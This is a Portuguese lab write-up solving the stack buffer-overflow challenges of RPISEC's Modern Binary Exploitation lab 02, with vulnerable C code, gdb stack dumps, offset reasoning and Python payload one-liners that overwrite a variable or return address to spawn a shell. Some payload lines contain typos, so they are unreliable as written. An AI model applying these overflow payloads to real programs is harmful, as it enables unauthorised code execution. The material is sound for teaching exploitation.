Olá! Nesse post, resolveremos o segundo laboratório do Modern Binary Exploitation da RPISEC que aborda a Corrupção de Memória (ou pwning, para os mais íntimos).

Sobre os laboratórios do MBE

Todos os laboratórios do curso residem dentro de uma máquina virtual disponibilizada no material através de uma imagem de disco para Ubuntu 14.04, que possui toda a configuração necessária para o Wargame. Os desafios são separados por laboratório e dificuldade, sendo C o mais fácil e A o mais difícil. Além disso, você acessa o challenge mediante ao usuário do respectivo desafio. Portanto, começando no C, o seu objetivo é exploitar o desafio para spawnar o terminal logado no usuário da próxima challenge e pegar a senha dele (que está em /home/labXX/.pass).

Laboratório 02

O laboratório 02 aborda a Corrupção de Memória, tópico, esse, que é trabalhado durante as três primeiras lectures do material. Para uma melhor compreensão do que está ocorrendo, é necessário saber um pouco sobre:

  • Programação em C
  • Assembly x86
  • Stack
  • Engenharia Reversa

Todas as ferramentas utilizadas estarão listadas ao final do write-up.

Lab2C

O laboratório 2C inicia com o código abaixo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  1 #include <stdlib.h>
  2 #include <stdio.h>
  3 #include <string.h>
  4
  5 /*
  6  * compiled with:
  7  * gcc -O0 -fno-stack-protector lab2C.c -o lab2C
  8  */
  9
 10 void shell()
 11 {
 12     printf("You did it.\n");
 13     system("/bin/sh");
 14 }
 15
 16 int main(int argc, char** argv)
 17 {
 18     if(argc != 2)
 19     {
 20         printf("usage:\n%s string\n", argv[0]);
 21         return EXIT_FAILURE;
 22     }
 23
 24     int set_me = 0;
 25     char buf[15];
 26     strcpy(buf, argv[1]);
 27
 28     if(set_me == 0xdeadbeef)
 29     {
 30         shell();
 31     }
 32     else
 33     {
 34         printf("Not authenticated.\nset_me was %d\n", set_me);
 35     }
 36
 37     return EXIT_SUCCESS;
 38 }

Nota-se que há um buffer com limite de 15 caracteres, na linha 25, que pode ser explorado devido à má implementação do código, pois copia-se uma string que não possui limite de tamanho para esse buffer limitado na linha 26.

Nesse sentido, podemos criar um payload que exceda os 15 bytes pretendidos e que possua, nos próximos 4 bytes, o valor idealizado para a variável set_me. Portanto, com o payload gerado pelo comandopython -c 'print ("A" * 0x0f) + "\xef\xb\xad\xde"', acessamos o usuário lab2B :D

Lab2B

O nível médio inicia-se com o seguinte código:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  1 #include <stdlib.h>
  2 #include <stdio.h>
  3 #include <string.h>
  4
  5 /*
  6  * compiled with:
  7  * gcc -O0 -fno-stack-protector lab2B.c -o lab2B
  8  */
  9
 10 char* exec_string = "/bin/sh";
 11
 12 void shell(char* cmd)
 13 {
 14     system(cmd);
 15 }
 16
 17 void print_name(char* input)
 18 {
 19     char buf[15];
 20     strcpy(buf, input);
 21     printf("Hello %s\n", buf);
 22 }
 23
 24 int main(int argc, char** argv)
 25 {
 26     if(argc != 2)
 27     {
 28         printf("usage:\n%s string\n", argv[0]);
 29         return EXIT_FAILURE;
 30     }
 31
 32     print_name(argv[1]);
 33
 34     return EXIT_SUCCESS;
 35 }

Vemos, então, que há uma função shell() que deve ser chamada com o argumento da exec_string. Para isso, temos que explorar o buffer na linha 20, pois há uma chamada de strcpy() entre o input (que possui tamanho ilimitado) e o buffer (que possui tamanho limitado).

Nesse sentido, podemos realizar o exploit do return address durante a chamada da função print_name() para ela retornar para o endereço de shell() e, além disso, inserir a string como uma das variáveis locais.

Return Address

Inserindo “A” * 15 como input do código, a stack da função print_name() fica assim:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
gdb-peda$ x/100x $sp
0xbffff580:     0x91    0xf5    0xff    0xbf    0xcd    0xf7    0xff    0xbf
0xbffff588:     0x01    0x00    0x00    0x00    0x41    0x85    0x04    0x08
0xbffff590:     0xb9    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff598:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff5a0:     0x00    0x00    0x00    0x00    0x64    0xf6    0xff    0xbf
0xbffff5a8:     0xc8    0xf5    0xff    0xbf    0x38    0x87    0x04    0x08
0xbffff5b0:     0xcd    0xf7    0xff    0xbf    0x00    0xf0    0xff    0xb7
0xbffff5b8:     0x4b    0x87    0x04    0x08    0x00    0xd0    0xfc    0xb7
0xbffff5c0:     0x40    0x87    0x04    0x08    0x00    0x00    0x00    0x00
0xbffff5c8:     0x00    0x00    0x00    0x00    0x83    0xca    0xe3    0xb7
0xbffff5d0:     0x02    0x00    0x00    0x00    0x64    0xf6    0xff    0xbf
0xbffff5d8:     0x70    0xf6    0xff    0xbf    0xea    0xcc    0xfe    0xb7
0xbffff5e0:     0x02    0x00    0x00    0x00

Repare que de 0xbffff591 a 0xbffff5a0, temos o buffer repleto de “A”’s (representado por 0x41 em hexa). Entretanto, logo após temos uma sequência de 0x00 e alguns outros bytes. Temos que achar o endereço de retorno. Realizando o disassembly da main(), vemos:

1
2
3
   0x08048730 <+51>:    mov    DWORD PTR [esp],eax
   0x08048733 <+54>:    call   0x80486d0 <print_name>
   0x08048738 <+59>:    mov    eax,0x0

Dessa maneira, vemos que o endereço de retorno que buscamos é 0x08048738. Olhando novamente a stack impressa, vemos esse endereço entre 0xbffff5ac e 0xbffff5b0. Portanto, o offset entre o fim da string e o início do return address é de 0x1b (27) bytes.

Realizando o disassembly da função shell(), vemos que o endereço inicial da sua instrução é 0x080486bd. Então, o início do nosso payload é dado por:

python -c 'print "A" * 0x1b + "\xbd\x86\x04\x08"

Nos resta, agora, passar o parâmetro correto para a função.

String

Para inserirmos a string como parâmetro, primeiro, precisamos encontrar o seu endereço dentro do processo. Para entendermos o mapeamento da memória virtual do processo, fazemos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
gdb-peda$ info proc map
process 1186
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /levels/lab02/lab2B
         0x8049000  0x804a000     0x1000        0x0 /levels/lab02/lab2B
         0x804a000  0x804b000     0x1000     0x1000 /levels/lab02/lab2B
        0xb7e22000 0xb7e23000     0x1000        0x0
        0xb7e23000 0xb7fcb000   0x1a8000        0x0 /lib/i386-linux-gnu/libc-2.19.so
        0xb7fcb000 0xb7fcd000     0x2000   0x1a8000 /lib/i386-linux-gnu/libc-2.19.so
        0xb7fcd000 0xb7fce000     0x1000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
        0xb7fce000 0xb7fd1000     0x3000        0x0
        0xb7fd9000 0xb7fdb000     0x2000        0x0
        0xb7fdb000 0xb7fdc000     0x1000        0x0 [vdso]
        0xb7fdc000 0xb7fde000     0x2000        0x0 [vvar]
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]

Então, podemos procurar a string:

1
2
3
4
5
gdb-peda$ searchmem "/bin/sh" 0x8048000 0x804b000
Searching for '/bin/sh' in range: 0x8048000 - 0x804b000
Found 2 results, display max 2 items:
lab2B : 0x80487d0 ("/bin/sh")
lab2B : 0x80497d0 ("/bin/sh")

Temos nosso endereço! Agora, podemos criar o payload usando o padding descoberto:

python -c 'print "A" * 0x1b + "\xbd\x86\x04\x08" + "A" 0x04 + "\xd0\x97\x04\x08"'

Lab2A

Para o último, vamos conferir o código disponibilizado:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
  1 #include <stdio.h>
  2 #include <stdlib.h>
  3 #include <string.h>
  4
  5 /*
  6  * compiled with:
  7  * gcc -O0 -fno-stack-protector lab2A.c -o lab2A
  8  */
  9
 10 void shell()
 11 {
 12     printf("You got it\n");
 13     system("/bin/sh");
 14 }
 15
 16 void concatenate_first_chars()
 17 {
 18     struct {
 19         char word_buf[12];
 20         int i;
 21         char* cat_pointer;
 22         char cat_buf[10];
 23     } locals;
 24     locals.cat_pointer = locals.cat_buf;
 25
 26     printf("Input 10 words:\n");
 27     for(locals.i=0; locals.i!=10; locals.i++)
 28     {
 29         // Read from stdin
 30         if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
 31         {
 32             printf("Failed to read word\n");
 33             return;
 34         }
 35         // Copy first char from word to next location in concatenated buffer
 36         *locals.cat_pointer = *locals.word_buf;
 37         locals.cat_pointer++;
 38     }
 39
 40     // Even if something goes wrong, there's a null byte here
 41     //   preventing buffer overflows
 42     locals.cat_buf[10] = '\0';
 43     printf("Here are the first characters from the 10 words concatenated:\n\
 44 %s\n", locals.cat_buf);
 45 }
 46
 47 int main(int argc, char** argv)
 48 {
 49     if(argc != 1)
 50     {
 51         printf("usage:\n%s\n", argv[0]);
 52         return EXIT_FAILURE;
 53     }
 54
 55     concatenate_first_chars();
 56
 57     printf("Not authenticated\n");
 58     return EXIT_SUCCESS;
 59 }

Repare que conseguimos exploitar o nosso buffer, pois a leitura do fgets(), na linha 30, é limitada em 0x10 (16 bytes) e o buffer possui 12 bytes de tamanho.

Entretanto, assim como o chall anterior, não poderemos sobrescrever, diretamente, o return address pois não alcançamos ele. Contudo, podemos exploitar o iterador da linha 27 e utilizar o cat_buf como o entrypoint para o payload!

Testei se poderíamos realizá-lo da seguinte maneira:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
lab2A@warzone:/levels/lab02$ ./lab2A
Input 10 words:
1234567890xxx
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
12
3

Failed to read word
Not authenticated
213Segmentation fault (core dumped)

O processo só foi encerrado quando inseri o \n e, além disso, tivemos um SegFault! Agora, nos resta encontrar o padding entre o buffer e o return address.

No GDB, iniciei o código e puz um breakpoint na função concatenate_first_chars(). Além disso, peguei o endereço da instrução após a chamada dessa função na main():

1
2
3
4
5
6
   0x080487da <+36>:	mov    eax,0x1
   0x080487df <+41>:	jmp    0x80487f7 <main+65>
   0x080487e1 <+43>:	call   0x804871d <concatenate_first_chars>
   0x080487e6 <+48>:	mov    DWORD PTR [esp],0x8048915
   0x080487ed <+55>:	call   0x80485c0 <puts@plt>
   0x080487f2 <+60>:	mov    eax,0x0

Sabemos que o endereço da instrução é 0x080487e6. Logo após, imprimi a stack quando 4 caracteres (inseri apenas “A”) já haviam sido acumulados no buffer vulnerável:

1
2
3
4
5
6
gdb-peda$ x/200x $sp
0xbffffbc0:	0xbffffbd0	0x00000010	0xb7fcdc20	0xb7e56273
0xbffffbd0:	0x00000a41	0x00c30000	0x00000001	0x00000004
0xbffffbe0:	0xbffffbe8	0x41414141	0x0804a000	0x08048852
0xbffffbf0:	0x00000001	0xbffffcb4	0xbffffc18	0x080487e6
0xbffffc00:	0xb7fcd3c4	0xb7fff000	0x0804880b	0xb7fcd000

Repare que temos 4 bytes de 0x41 a partir de 0xbffffbe4. Para confirmar, esperei acumular 5 bytes:

1
2
3
4
5
6
gdb-peda$ x/100x $sp
0xbffffbc0:	0xbffffbd0	0x00000010	0xb7fcdc20	0xb7e56273
0xbffffbd0:	0x00000a41	0x00c30000	0x00000001	0x00000005
0xbffffbe0:	0xbffffbe9	0x41414141	0x0804a041	0x08048852
0xbffffbf0:	0x00000001	0xbffffcb4	0xbffffc18	0x080487e6
0xbffffc00:	0xb7fcd3c4	0xb7fff000	0x0804880b	0xb7fcd000

De fato, esse é o local da string. Além disso, repare que em 0xbffffbfc temos o endereço 0x080487e6! Portanto:

1
2
>>> 0xbffffbfc - 0xbffffbe4
24L

24 é o padding! Portanto, devemos escrever 24 palavras com iniciais aleatórias para exploitar o buffer (considerando a primeira que exploita o identador) e, logo após, mais 4 que representam o endereço da primeira istrução de shell()

Realizando o disassembly de shell():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
gdb-peda$ disas shell
Dump of assembler code for function shell:
   0x080486fd <+0>:	push   ebp
   0x080486fe <+1>:	mov    ebp,esp
   0x08048700 <+3>:	sub    esp,0x18
   0x08048703 <+6>:	mov    DWORD PTR [esp],0x8048890
   0x0804870a <+13>:	call   0x80485c0 <puts@plt>
   0x0804870f <+18>:	mov    DWORD PTR [esp],0x804889b
   0x08048716 <+25>:	call   0x80485d0 <system@plt>
   0x0804871b <+30>:	leave
   0x0804871c <+31>:	ret
End of assembler dump.

Com o endereço 0x080486fd, podemos fabricar o payload do exploit com o comando:

python -c 'print ("B" * 0x0f) + ("A\n" * 0x17) + "\xfd\n\x86\n\x04\n\x08\n"'

Ferramentas utilizadas:

  • GEF, uma extensão para o GDB
  • GHIDRA, uma ferramenta de análise de binários.
  • pwntools, uma biblioteca de Python para fabricação de exploits.